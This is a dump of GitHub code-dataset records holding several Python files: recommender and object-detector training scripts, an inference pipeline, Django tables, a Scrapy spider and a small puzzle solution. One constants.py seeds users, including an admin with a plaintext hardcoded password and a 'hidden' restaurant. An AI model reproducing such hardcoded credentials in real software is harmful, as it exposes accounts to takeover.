sum(np.concatenate(ndcg)) / n_users\n return cf_scores, precision_k, recall_k, ndcg_k\n\n\ndef train(args):\n # seed\n random.seed(args.seed)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n\n # 创建日志文件\n log_save_id = create_log_id(args.save_dir)\n logging_config(folder=args.save_dir, name='log{:d}'.format(log_save_id), no_console=False)\n logging.info(args)\n\n # GPU / CPU\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n n_gpu = torch.cuda.device_count()\n if n_gpu > 0:\n torch.cuda.manual_seed_all(args.seed)\n print('device:', device, 'n_gpu:', n_gpu)\n\n # load data\n print('load data ...')\n data = DataLoaderKGAT(args, logging)\n print('load data finish.')\n\n # embedding\n if args.use_pretrain == 1:\n user_pre_embed = torch.tensor(data.user_pre_embed)\n item_pre_embed = torch.tensor(data.item_pre_embed)\n else:\n user_pre_embed, item_pre_embed = None, None\n\n user_ids = list(data.test_user_dict.keys())\n user_ids_batches = [user_ids[i: i + args.test_batch_size] for i in range(0, len(user_ids), args.test_batch_size)]\n user_ids_batches = [torch.LongTensor(d) for d in user_ids_batches]\n if use_cuda:\n user_ids_batches = [d.to(device) for d in user_ids_batches]\n\n item_ids = torch.arange(data.n_items, dtype=torch.long)\n if use_cuda:\n item_ids = item_ids.to(device)\n\n # construct model & optimizer\n model = KGAT(args, data.n_users, data.n_entities, data.n_relations, user_pre_embed, item_pre_embed)\n if args.use_pretrain == 2:\n model = load_model(model, args.pretrain_model_path)\n\n model.to(device)\n # if n_gpu > 1:\n # model = nn.parallel.DistributedDataParallel(model)\n logging.info(model)\n\n optimizer = optim.Adam(model.parameters(), lr=args.lr)\n\n # move graph data to GPU\n if use_cuda:\n data.train_graph = data.train_graph.to(device)\n # data.test_graph = data.test_graph.to(device)\n\n train_graph = data.train_graph\n # test_graph = data.test_graph\n\n # initialize metrics\n best_epoch = -1\n epoch_list = []\n precision_list = []\n recall_list = []\n ndcg_list = []\n epoch = 0\n\n # train model\n for epoch in range(1, args.n_epoch + 1):\n time0 = time()\n model.train()\n\n # update attention scores\n with torch.no_grad():\n att = model('calc_att', train_graph)\n train_graph.edata['att'] = att\n logging.info('Update attention scores: Epoch {:04d} | Total Time {:.1f}s'.format(epoch, time() - time0))\n\n # train cf\n time1 = time()\n cf_total_loss = 0\n n_cf_batch = data.n_cf_train // data.cf_batch_size + 1\n\n for iter in range(1, n_cf_batch + 1):\n time2 = time()\n cf_batch_user, cf_batch_pos_item, cf_batch_neg_item = data.generate_cf_batch(data.train_user_dict)\n if use_cuda:\n cf_batch_user = cf_batch_user.to(device)\n cf_batch_pos_item = cf_batch_pos_item.to(device)\n cf_batch_neg_item = cf_batch_neg_item.to(device)\n cf_batch_loss = model('calc_cf_loss', train_graph, cf_batch_user, cf_batch_pos_item, cf_batch_neg_item)\n\n cf_batch_loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n cf_total_loss += cf_batch_loss.item()\n\n if (iter % args.cf_print_every) == 0:\n logging.info('CF Training: Epoch {:04d} Iter {:04d} / {:04d} | Time {:.1f}s | Iter Loss {:.4f} | Iter Mean Loss {:.4f}'.format(epoch, iter, n_cf_batch, time() - time2, cf_batch_loss.item(), cf_total_loss / iter))\n logging.info('CF Training: Epoch {:04d} Total Iter {:04d} | Total Time {:.1f}s | Iter Mean Loss {:.4f}'.format(epoch, n_cf_batch, time() - time1, cf_total_loss / n_cf_batch))\n\n # train kg\n time1 = time()\n kg_total_loss = 0\n n_kg_batch = data.n_kg_train // data.kg_batch_size + 1\n\n for iter in range(1, n_kg_batch + 1):\n time2 = time()\n kg_batch_head, kg_batch_relation, kg_batch_pos_tail, kg_batch_neg_tail = data.generate_kg_batch(data.train_kg_dict)\n if use_cuda:\n kg_batch_head = kg_batch_head.to(device)\n kg_batch_relation = kg_batch_relation.to(device)\n kg_batch_pos_tail = kg_batch_pos_tail.to(device)\n kg_batch_neg_tail = kg_batch_neg_tail.to(device)\n kg_batch_loss = model('calc_kg_loss', kg_batch_head, kg_batch_relation, kg_batch_pos_tail, kg_batch_neg_tail)\n\n kg_batch_loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n kg_total_loss += kg_batch_loss.item()\n\n if (iter % args.kg_print_every) == 0:\n logging.info('KG Training: Epoch {:04d} Iter {:04d} / {:04d} | Time {:.1f}s | Iter Loss {:.4f} | Iter Mean Loss {:.4f}'.format(epoch, iter, n_kg_batch, time() - time2, kg_batch_loss.item(), kg_total_loss / iter))\n logging.info('KG Training: Epoch {:04d} Total Iter {:04d} | Total Time {:.1f}s | Iter Mean Loss {:.4f}'.format(epoch, n_kg_batch, time() - time1, kg_total_loss / n_kg_batch))\n\n logging.info('CF + KG Training: Epoch {:04d} | Total Time {:.1f}s'.format(epoch, time() - time0))\n\n # evaluate cf\n if (epoch % args.evaluate_every) == 0:\n time1 = time()\n _, precision, recall, ndcg = evaluate(model, train_graph, data.train_user_dict, data.test_user_dict, user_ids_batches, item_ids, args.K)\n logging.info('CF Evaluation: Epoch {:04d} | Total Time {:.1f}s | Precision {:.4f} Recall {:.4f} NDCG {:.4f}'.format(epoch, time() - time1, precision, recall, ndcg))\n\n epoch_list.append(epoch)\n precision_list.append(precision)\n recall_list.append(recall)\n ndcg_list.append(ndcg)\n best_recall, should_stop = early_stopping(recall_list, args.stopping_steps)\n\n if should_stop:\n break\n\n if recall_list.index(best_recall) == len(recall_list) - 1:\n save_model(model, args.save_dir, epoch, best_epoch)\n logging.info('Save model on epoch {:04d}!'.format(epoch))\n best_epoch = epoch\n\n # save model\n # save_model(model, args.save_dir, epoch)\n # logging.info('Save model on epoch {:04d}!'.format(epoch))\n #\n # # save metrics\n # _, precision, recall, ndcg = evaluate(model, train_graph, data.train_user_dict, data.test_user_dict, user_ids_batches, item_ids, args.K)\n # logging.info('Final CF Evaluation: Precision {:.4f} Recall {:.4f} NDCG {:.4f}'.format(precision, recall, ndcg))\n #\n # epoch_list.append(epoch)\n # precision_list.append(precision)\n # recall_list.append(recall)\n # ndcg_list.append(ndcg)\n\n metrics = pd.DataFrame([epoch_list, precision_list, recall_list, ndcg_list]).transpose()\n metrics.columns = ['epoch_idx', 'precision@{}'.format(args.K), 'recall@{}'.format(args.K), 'ndcg@{}'.format(args.K)]\n metrics.to_csv(args.save_dir + '/metrics.tsv', sep='\\t', index=False)\n\n\ndef predict(args):\n # GPU / CPU\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n n_gpu = torch.cuda.device_count()\n if n_gpu > 0:\n torch.cuda.manual_seed_all(args.seed)\n\n # load data\n data = DataLoaderKGAT(args, logging)\n\n user_ids = list(data.test_user_dict.keys())\n user_ids_batches = [user_ids[i: i + args.test_batch_size] for i in range(0, len(user_ids), args.test_batch_size)]\n user_ids_batches = [torch.LongTensor(d) for d in user_ids_batches]\n if use_cuda:\n user_ids_batches = [d.to(device) for d in user_ids_batches]\n\n item_ids = torch.arange(data.n_items, dtype=torch.long)\n if use_cuda:\n item_ids = item_ids.to(device)\n\n # load model\n model = KGAT(args, data.n_users, data.n_entities, data.n_relations)\n model = load_model(model, args.pretrain_model_path)\n model.to(device)\n # if n_gpu > 1:\n # model = nn.parallel.DistributedDataParallel(model)\n\n # move graph data to GPU\n if use_cuda:\n data.train_graph = data.train_graph.to(device)\n # data.test_graph = data.test_graph.to(device)\n\n train_graph = data.train_graph\n # test_graph = data.test_graph\n\n # predict\n cf_scores, precision, recall, ndcg = evaluate(model, train_graph, data.train_user_dict, data.test_user_dict, user_ids_batches, item_ids, args.K)\n np.save(args.save_dir + 'cf_scores.npy', cf_scores)\n print('CF Evaluation: Precision {:.4f} Recall {:.4f} NDCG {:.4f}'.format(precision, recall, ndcg))\n\n\nif __name__ == '__main__':\n args = parse_kgat_args()\n train(args)\n # predict(args)\n\n\n","repo_name":"saya34tju/GAT4RecommandSystem4DobanUsers","sub_path":"main_kgat.py","file_name":"main_kgat.py","file_ext":"py","file_size_in_byte":10937,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"67"} +{"seq_id":"35098637421","text":"# Length of Last Word\n# https://leetcode.com/problems/length-of-last-word/\n\n# Block try/except to filter non-sentences and non-words\ntry:\n\n # User input\n sentence = list(input(\"Your sentence: \").split())\n\n # Counting length of the last word and result output\n print(len(sentence[-1]))\n\nexcept IndexError:\n print(\"It's not the sentence or a word...\")\n","repo_name":"ceolupeko/My-training-camp-Python","sub_path":"pytask#12.py","file_name":"pytask#12.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35774306236","text":"import django_tables2 as tables\n\nfrom peering_manager.tables import PeeringManagerTable, columns, linkify_phone\n\nfrom .models import Contact, ContactAssignment, ContactRole, Email\n\n__all__ = (\"ContactTable\", \"ContactRoleTable\", \"ContactAssignmentTable\", \"EmailTable\")\n\n\nclass ContactRoleTable(PeeringManagerTable):\n name = tables.Column(linkify=True)\n\n class Meta(PeeringManagerTable.Meta):\n model = ContactRole\n fields = (\"pk\", \"id\", \"name\", \"slug\", \"description\", \"actions\")\n default_columns = (\"pk\", \"name\", \"description\", \"actions\")\n\n\nclass ContactTable(PeeringManagerTable):\n name = tables.Column(linkify=True)\n phone = tables.Column(linkify=linkify_phone)\n assignment_count = tables.Column(verbose_name=\"Assignments\")\n tags = columns.TagColumn(url_name=\"messaging:contact_list\")\n\n class Meta(PeeringManagerTable.Meta):\n model = Contact\n fields = (\n \"pk\",\n \"id\",\n \"name\",\n \"title\",\n \"phone\",\n \"email\",\n \"address\",\n \"comments\",\n \"assignment_count\",\n \"tags\",\n )\n default_columns = (\n \"pk\",\n \"name\",\n \"assignment_count\",\n \"title\",\n \"phone\",\n \"email\",\n \"actions\",\n )\n\n\nclass ContactAssignmentTable(PeeringManagerTable):\n content_type = columns.ContentTypeColumn(verbose_name=\"Object Type\")\n object = tables.Column(linkify=True, orderable=False)\n contact = tables.Column(linkify=True)\n role = tables.Column(linkify=True)\n actions = columns.ActionsColumn(actions=(\"edit\", \"delete\"))\n\n class Meta(PeeringManagerTable.Meta):\n model = ContactAssignment\n fields = (\"id\", \"content_type\", \"object\", \"contact\", \"role\", \"actions\")\n default_columns = (\"content_type\", \"object\", \"contact\", \"role\", \"actions\")\n\n\nclass EmailTable(PeeringManagerTable):\n name = tables.Column(linkify=True)\n jinja2_trim = columns.BooleanColumn(verbose_name=\"Trim\")\n jinja2_lstrip = columns.BooleanColumn(verbose_name=\"Lstrip\")\n tags = columns.TagColumn(url_name=\"devices:configuration_list\")\n\n class Meta(PeeringManagerTable.Meta):\n model = Email\n fields = (\n \"pk\",\n \"name\",\n \"subject\",\n \"jinja2_trim\",\n \"jinja2_lstrip\",\n \"updated\",\n \"tags\",\n \"actions\",\n )\n default_columns = (\"pk\", \"id\", \"name\", \"updated\", \"actions\")\n","repo_name":"peering-manager/peering-manager","sub_path":"messaging/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":426,"dataset":"github-code","pt":"67"} +{"seq_id":"8000900901","text":"\"\"\"\nConstants for application, to be used globally\n\"\"\"\n\nDB_NAME = \"development.db\"\nDB_LOCATION = \"instance/development.db\"\nJSON = \"application/json\"\nHIDDEN_RESTAURANT = \"VIP Lounge\"\n\nusers = {\n \"u_1\": {\n \"name\": \"Admin\",\n \"password\": \"supersecurepassword123456\",\n \"is_admin\": True,\n },\n \"u_2\": {\n \"name\": \"Bob\",\n \"password\": \"password\",\n \"is_admin\": False,\n },\n}\n\nrestaurants = {\n \"r_1\": {\n \"name\": \"Bob's Burgers\",\n \"description\": \"Best blocky burgers by big burger builder Bob!\",\n \"icon\": \"bobs_burgers\",\n },\n \"r_2\": {\n \"name\": \"Alice's Apples\",\n \"description\": \"My apples bring all boys to the yard\",\n \"icon\": \"alice_apple\",\n },\n \"r_3\": {\n \"name\": \"Peter's Pies\",\n \"description\": \"Mmm...pies\",\n \"icon\": \"peter_pie\",\n },\n \"r_4\": {\n \"name\": \"DjRonald's\",\n \"description\": \"Who's McDonald?\",\n \"icon\": \"djronald\",\n },\n \"r_5\": {\n \"name\": \"HazBurger\",\n \"description\": \"Can I haz cheezburger?\",\n \"icon\": \"hasburger\",\n },\n \"r_6\": {\"name\": \"Segway\", \"description\": \"Eat fast\", \"icon\": \"segway\"},\n \"r_7\": {\n \"name\": \"Taco Ball\",\n \"description\": \"You can't resist our balls\",\n \"icon\": \"taco_ball\",\n },\n \"r_8\": {\n \"name\": \"VIP Lounge\",\n \"description\": \"Restaurant reserved for high profile customers.\",\n \"icon\": \"vip_lounge\",\n },\n}\n\nitems = {\n \"i_1\": {\n \"name\": \"Burger\",\n \"res_id\": \"1\",\n },\n \"i_1.2\": {\n \"name\": \"Khay-burger\",\n \"res_id\": \"1\",\n },\n \"i_2\": {\n \"name\": \"Apple\",\n \"res_id\": \"2\",\n },\n \"i_3\": {\n \"name\": \"Pie\",\n \"res_id\": \"3\",\n },\n \"i_4\": {\n \"name\": \"Burger\",\n \"res_id\": \"4\",\n },\n \"i_5\": {\n \"name\": \"HazBurger\",\n \"res_id\": \"5\",\n },\n \"i_6\": {\n \"name\": \"Subway sandwich\", \n \"res_id\": \"6\"},\n \"i_7\": {\n \"name\": \"Meatballs\",\n \"res_id\": \"7\",\n },\n \"i_8\": {\n \"name\": \"Glenfres_iddich\",\n \"res_id\": \"8\",\n },\n}\n","repo_name":"Mikkeep/namaste","sub_path":"backend/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"28015213890","text":"# -*- coding: utf-8 -*-\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nimport torch.nn.init as init\nimport argparse\nfrom torch.autograd import Variable\nimport torch.utils.data as data\nfrom data import AnnotationTransform, VOCDetection, detection_collate, VOCroot, VOC_CLASSES\nfrom data import KittiLoader, AnnotationTransform_kitti,Class_to_ind\n\nfrom utils.augmentations import SSDAugmentation\nfrom layers.modules import MultiBoxLoss\nfrom ssd import build_ssd\nfrom IPython import embed\nfrom log import log\nimport time\n\ndef str2bool(v):\n return v.lower() in (\"yes\", \"true\", \"t\", \"1\")\n\nparser = argparse.ArgumentParser(description='Single Shot MultiBox Detector Training')\nparser.add_argument('--dim', default=512, type=int, help='Size of the input image, only support 300 or 512')\nparser.add_argument('-d', '--dataset', default='VOC',help='VOC or COCO dataset')\n\nparser.add_argument('--basenet', default='vgg16_reducedfc.pth', help='pretrained base model')\nparser.add_argument('--jaccard_threshold', default=0.5, type=float, help='Min Jaccard index for matching')\nparser.add_argument('--batch_size', default=16, type=int, help='Batch size for training')\nparser.add_argument('--resume', default=None, type=str, help='Resume from checkpoint')\nparser.add_argument('--num_workers', default=4, type=int, help='Number of workers used in dataloading')\nparser.add_argument('--iterations', default=120000, type=int, help='Number of training iterations')\nparser.add_argument('--cuda', default=True, type=str2bool, help='Use cuda to train model')\nparser.add_argument('--lr', '--learning-rate', default=3e-3, type=float, help='initial learning rate')\nparser.add_argument('--momentum', default=0.9, type=float, help='momentum')\nparser.add_argument('--weight_decay', default=5e-4, type=float, help='Weight decay for SGD')\nparser.add_argument('--gamma', default=0.1, type=float, help='Gamma update for SGD')\nparser.add_argument('--log_iters', default=True, type=bool, help='Print the loss at each iteration')\nparser.add_argument('--visdom', default=False, type=str2bool, help='Use visdom to for loss visualization')\nparser.add_argument('--save_folder', default='weights/', help='Location to save checkpoint models')\nparser.add_argument('--data_root', default=VOCroot, help='Location of VOC root directory')\nargs = parser.parse_args()\n\nif args.cuda and torch.cuda.is_available():\n torch.set_default_tensor_type('torch.cuda.FloatTensor')\nelse:\n torch.set_default_tensor_type('torch.FloatTensor')\n\nif not os.path.exists(args.save_folder):\n os.mkdir(args.save_folder)\n\ntrain_sets = [('2007', 'trainval'), ('2012', 'trainval')]\n# train_sets = 'train'\nmeans = (104, 117, 123) # only support voc now\nif args.dataset=='VOC':\n num_classes = len(VOC_CLASSES) + 1\nelif args.dataset=='kitti':\n num_classes = 1+1\naccum_batch_size = 32\niter_size = accum_batch_size / args.batch_size\nstepvalues = (60000, 80000, 100000)\nstart_iter = 0\n\nif args.visdom:\n import visdom\n viz = visdom.Visdom()\n\nssd_net = build_ssd('train', args.dim, num_classes)\nnet = ssd_net\n\nif args.cuda:\n net = torch.nn.DataParallel(ssd_net)\n cudnn.benchmark = True\n\nif args.resume:\n log.l.info('Resuming training, loading {}...'.format(args.resume))\n ssd_net.load_weights(args.resume)\n start_iter = int(agrs.resume.split('/')[-1].split('.')[0].split('_')[-1])\nelse:\n vgg_weights = torch.load(args.save_folder + args.basenet)\n log.l.info('Loading base network...')\n ssd_net.vgg.load_state_dict(vgg_weights)\n start_iter = 0\n\nif args.cuda:\n net = net.cuda()\n\n\ndef xavier(param):\n init.xavier_uniform(param)\n\n\ndef weights_init(m):\n if isinstance(m, nn.Conv2d):\n xavier(m.weight.data)\n m.bias.data.zero_()\n\n\nif not args.resume:\n log.l.info('Initializing weights...')\n # initialize newly added layers' weights with xavier method\n ssd_net.extras.apply(weights_init)\n ssd_net.loc.apply(weights_init)\n ssd_net.conf.apply(weights_init)\n\noptimizer = optim.SGD(net.parameters(), lr=args.lr,\n momentum=args.momentum, weight_decay=args.weight_decay)\ncriterion = MultiBoxLoss(num_classes, args.dim, 0.5, True, 0, True, 3, 0.5, False, args.cuda)\n\ndef DatasetSync(dataset='VOC',split='training'):\n\n\n if dataset=='VOC':\n #DataRoot=os.path.join(args.data_root,'VOCdevkit')\n DataRoot=args.data_root\n dataset = VOCDetection(DataRoot, train_sets, SSDAugmentation(\n args.dim, means), AnnotationTransform())\n elif dataset=='kitti':\n DataRoot=os.path.join(args.data_root,'kitti')\n dataset = KittiLoader(DataRoot, split=split,img_size=(1000,300),\n transforms=SSDAugmentation((1000,300),means),\n target_transform=AnnotationTransform_kitti())\n return dataset\n\ndef train():\n net.train()\n # loss counters\n loc_loss = 0 # epoch\n conf_loss = 0\n epoch = 0\n log.l.info('Loading Dataset...')\n\n # dataset = VOCDetection(args.voc_root, train_sets, SSDAugmentation(\n # args.dim, means), AnnotationTransform())\n dataset=DatasetSync(dataset=args.dataset,split='training')\n\n\n epoch_size = len(dataset) // args.batch_size\n log.l.info('Training SSD on {}'.format(dataset.name))\n step_index = 0\n if args.visdom:\n # initialize visdom loss plot\n lot = viz.line(\n X=torch.zeros((1,)).cpu(),\n Y=torch.zeros((1, 3)).cpu(),\n opts=dict(\n xlabel='Iteration',\n ylabel='Loss',\n title='Current SSD Training Loss',\n legend=['Loc Loss', 'Conf Loss', 'Loss']\n )\n )\n epoch_lot = viz.line(\n X=torch.zeros((1,)).cpu(),\n Y=torch.zeros((1, 3)).cpu(),\n opts=dict(\n xlabel='Epoch',\n ylabel='Loss',\n title='Epoch SSD Training Loss',\n legend=['Loc Loss', 'Conf Loss', 'Loss']\n )\n )\n batch_iterator = None\n data_loader = data.DataLoader(dataset, args.batch_size, num_workers=args.num_workers,\n shuffle=True, collate_fn=detection_collate, pin_memory=True)\n\n lr=args.lr\n for iteration in range(start_iter, args.iterations + 1):\n if (not batch_iterator) or (iteration % epoch_size == 0):\n # create batch iterator\n batch_iterator = iter(data_loader)\n if iteration in stepvalues:\n step_index += 1\n lr=adjust_learning_rate(optimizer, args.gamma, epoch, step_index, iteration, epoch_size)\n if args.visdom:\n viz.line(\n X=torch.ones((1, 3)).cpu() * epoch,\n Y=torch.Tensor([loc_loss, conf_loss,\n loc_loss + conf_loss]).unsqueeze(0).cpu() / epoch_size,\n win=epoch_lot,\n update='append'\n )\n # reset epoch loss counters\n loc_loss = 0\n conf_loss = 0\n epoch += 1\n\n # load train data\n images, targets = next(batch_iterator)\n #embed()\n if args.cuda:\n images = Variable(images.cuda())\n targets = [Variable(anno.cuda(), volatile=True) for anno in targets]\n else:\n images = Variable(images)\n targets = [Variable(anno, volatile=True) for anno in targets]\n # forward\n t0 = time.time()\n out = net(images)\n # backprop\n optimizer.zero_grad()\n loss_l, loss_c = criterion(out, targets)\n loss = loss_l + loss_c\n loss.backward()\n optimizer.step()\n t1 = time.time()\n loc_loss += loss_l.data[0]\n conf_loss += loss_c.data[0]\n if iteration % 10 == 0:\n log.l.info('''\n Timer: {:.5f} sec.\\t LR: {}.\\t Iter: {}.\\t Loss_l: {:.5f}.\\t Loss_c: {:.5f}.\n '''.format((t1-t0),lr,iteration,loss_l.data[0],loss_c.data[0]))\n if args.visdom and args.send_images_to_visdom:\n random_batch_index = np.random.randint(images.size(0))\n viz.image(images.data[random_batch_index].cpu().numpy())\n if args.visdom:\n viz.line(\n X=torch.ones((1, 3)).cpu() * iteration,\n Y=torch.Tensor([loss_l.data[0], loss_c.data[0],\n loss_l.data[0] + loss_c.data[0]]).unsqueeze(0).cpu(),\n win=lot,\n update='append'\n )\n # hacky fencepost solution for 0th epoch plot\n if iteration == 0:\n viz.line(\n X=torch.zeros((1, 3)).cpu(),\n Y=torch.Tensor([loc_loss, conf_loss,\n loc_loss + conf_loss]).unsqueeze(0).cpu(),\n win=epoch_lot,\n update=True\n )\n if iteration % 5000 == 0:\n log.l.info('Saving state, iter: {}'.format(iteration))\n torch.save(ssd_net.state_dict(), 'weights/ssd' + str(args.dim) + '_0712_' +\n repr(iteration) + '.pth')\n torch.save(ssd_net.state_dict(), args.save_folder + 'ssd_' + str(args.dim) + '.pth')\n\n \ndef adjust_learning_rate(optimizer, gamma, epoch, step_index, iteration, epoch_size):\n \"\"\"Sets the learning rate \n # Adapted from PyTorch Imagenet example:\n # https://github.com/pytorch/examples/blob/master/imagenet/main.py\n \"\"\"\n if epoch < 6:\n lr = 1e-6 + (args.lr-1e-6) * iteration / (epoch_size * 5) \n else:\n lr = args.lr * (gamma ** (step_index))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n return lr\n\n\nif __name__ == '__main__':\n train()\n","repo_name":"qijiezhao/pytorch-ssd","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9727,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"67"} +{"seq_id":"25723285405","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.append(\"../\")\nimport os\nimport logging\nimport argparse\nimport ConfigParser\nimport common.datetime_wrapper as datetime\nimport common.hadoop_shell_wrapper as hadoop_shell\nimport common.fs_wrapper as fs\nfrom model_configuration import ModelConfiguration\nfrom dssm import DssmModel\n\nFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nlogging.basicConfig(\n level=logging.INFO,\n format='[%(asctime)s - %(filename)s - %(levelname)s] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n\n\ndef convert_embedding_id(id_emb_file, vocab_file, output_emb_file):\n id_dict = {}\n with open(vocab_file, \"r\") as fin:\n for line in fin:\n cols = line.strip().split(\"\\t\")[:2]\n id_dict[cols[0]] = cols[1]\n logging.info(\"load %d mapping pairs from %s\", len(id_dict), vocab_file)\n if len(id_dict) < 1000:\n logging.error(\"too few id, failed\")\n return 1\n\n keep_cnt = 0\n with open(output_emb_file, \"w\") as fout:\n with open(id_emb_file, \"r\") as fin:\n for line in fin:\n cols = line.strip().split(\"\\t\")\n if len(cols) != 2:\n continue\n if cols[0] not in id_dict:\n continue\n keep_cnt += 1\n fout.write(\"{}\\t{}\\n\".format(id_dict[cols[0]], cols[1]))\n logging.info(\"after converting, %d emb are kept\", keep_cnt)\n if keep_cnt < 1000:\n logging.error(\"too few left\")\n return 1\n return 0\n\n\ndef run(args):\n config = ConfigParser.SafeConfigParser()\n config.read(args.conf)\n\n local_train_path = \"{}/../{}\".format(\n FILE_DIR,\n config.get(\"model\", \"local_dir\", 0,\n {\n \"date\": args.date,\n \"project\": config.get(\"common\", \"project\")\n }))\n local_model_path = os.path.join(local_train_path, \"model\")\n local_user_embedding = os.path.join(local_train_path, \"user.emb\")\n local_item_embedding = os.path.join(local_train_path, \"item.emb\")\n local_item_embedding_raw = local_item_embedding + \".raw\"\n local_vid_vocab_file = os.path.join(local_train_path, \"vid.vocab\")\n\n local_inference_succ_flag = os.path.join(local_train_path, \"_INFERENCE_SUCCESS\")\n if fs.exists(local_inference_succ_flag):\n logging.info(\"inference succ flag found, skip\")\n return 0\n\n hdfs_samples_path = config.get(\"common\", \"hdfs_output\", 0, {\n \"date\": args.date,\n \"dir\": config.get(\"inference_sample\", \"tfrecord_dir\")\n })\n\n # 检查训练样本是否存在集群上\n if not hadoop_shell.exists_all(\n hdfs_samples_path,\n flag=True,\n print_missing=True):\n logging.error(\"train samples missing on hdfs\")\n return 1\n\n # 加载训练配置\n model_conf_file = os.path.join(local_train_path, \"model.conf\")\n if not fs.exists(model_conf_file):\n logging.error(\"model training conf file not found\")\n return 1\n model_conf = ModelConfiguration().load(model_conf_file)\n if not model_conf.check():\n logging.error(\"model conf invalid!\")\n return 1\n\n yarn_masters = eval(config.get(\"yarn_rec\", \"masters\"))\n valid_master = hadoop_shell.first_exist(*yarn_masters, print_cmd=True, flag=False)\n if not valid_master:\n logging.error(\"no yarn master available\")\n return 1\n modules_and_feeds = {\"inference\": valid_master + hdfs_samples_path}\n\n # 训练模型\n model = DssmModel(model_conf, local_model_path, **modules_and_feeds)\n if model.inference(local_user_embedding) != 0:\n logging.error(\"inference failed\")\n return 1\n\n if model.export_embedding(local_item_embedding_raw) != 0:\n logging.error(\"export embedding failed\")\n return 1\n\n if not fs.exists(local_vid_vocab_file):\n hdfs_vid_vocab = config.get(\"common\", \"hdfs_output\", 0, {\n \"date\": args.date,\n \"dir\": config.get(\"vocab\", \"vid_dir\")\n })\n if not hadoop_shell.exists_all(hdfs_vid_vocab, flag=True, print_missing=True):\n logging.error(\"vocab vid not found on hdfs\")\n return 1\n if not hadoop_shell.getmerge(hdfs_vid_vocab, local_vid_vocab_file) or \\\n not fs.exists(local_vid_vocab_file):\n logging.error(\"fail to download vocab vid\")\n return 1\n\n if convert_embedding_id(local_item_embedding_raw, local_vid_vocab_file, local_item_embedding) != 0:\n logging.error(\"fail to convert id\")\n return 1\n\n logging.info(\"inference succ\")\n fs.touch(local_inference_succ_flag)\n\n return 0\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='train bpr embedding')\n parser.add_argument('--date', dest='date', required=True, help=\"which date(%%Y-%%m-%%d)\")\n parser.add_argument('--conf', dest='conf', required=True, help=\"conf file\")\n arguments = parser.parse_args()\n\n try:\n if not datetime.DateTime(arguments.date).is_perfect_date():\n raise RuntimeError(\"passed arg [date={}] format error\".format(arguments.date))\n sys.exit(run(arguments))\n except Exception as ex:\n logging.exception(\"exception occur in %s, %s\", __file__, ex)\n sys.exit(1)\n","repo_name":"Jayyyyyyyyyyyy/x2vec","sub_path":"src/scheduling/DSSM/run_inference.py","file_name":"run_inference.py","file_ext":"py","file_size_in_byte":5291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11923518152","text":"from post_processing.local_calculations.get_g2 import * \nfrom post_processing.local_calculations.get_cs import * \nimport sys\n\nang1 = float(sys.argv[1]) ##this is a useless parameter\nprint(f\"ang1 = {ang1}\")\nang2 = float(sys.argv[2]) ##This is a useless parameter\nprint(f\"ang2 = {ang2}\")\nN = int(sys.argv[3])\nprint(f\"N = {N}\")\nuseb0 = bool(int(sys.argv[4]))\nprint(f\"useb0 = {useb0}\")\n\n\nif useb0 == True:\n b0 = float(sys.argv[5])\n kd = None\n exc_radius = None\n description = str(sys.argv[6])\n print(f\"b0 = {b0}, description = {description}\")\n # ang1 ang2 N useb0 b0 description interaction Omega Delta\nelse:\n b0 = None\n kd = float(sys.argv[5])\n exc_radius = float(sys.argv[6])\n description = str(sys.argv[7])\n # ang1 ang2 N useb0 kd exc_radius description\n print(\"kd main\", kd) \ninteraction = bool(int(sys.argv[7]))\nprint(f\"interaction = {interaction}\")\nOmega = float(sys.argv[8])\nprint(f\"Omega = {Omega}\")\nDelta = float(sys.argv[9])\nprint(f\"Delta = {Delta}\")\nrho_ss_parameter = str(sys.argv[10])\nprint(f\"rho_ss_parameter = {rho_ss_parameter}\")\ntmax = float(sys.argv[11])\nprint(f\"tmax = {tmax}\")\nstart_index=int(sys.argv[12])\n\nget_g2_from_all_available_rho_ss(ang1,ang2, N, useb0, b0, kd, description, interaction, Omega, Delta, rho_ss_parameter, tmax, start_index)\n\n","repo_name":"rupof/wavemixing_project","sub_path":"src/post_processing/local_calculations/daily_processing/one_run.py","file_name":"one_run.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6931781989","text":"import scrapy\nimport csv\nimport datetime\nfrom sentiment.mail import send_email\n\n\nclass SentimentSpider(scrapy.Spider):\n name = \"sentiment\"\n\n start_urls = [\n 'https://www.aaii.com/sentimentsurvey/sent_results',\n ]\n\n def parse(self, response):\n data= response.xpath('((//table)[1]//tr//td//text())')\n list_data = [i.extract().strip() for i in data]\n list_data_final = [i for i in list_data if i]\n filename = 'sentiment_data.csv'\n with open(filename, 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n for i in range(0,len(list_data_final),4):\n writer.writerow(list_data_final[i:i+4])\n send_email('sentiment_data.csv')\n self.log('Saved file %s' % 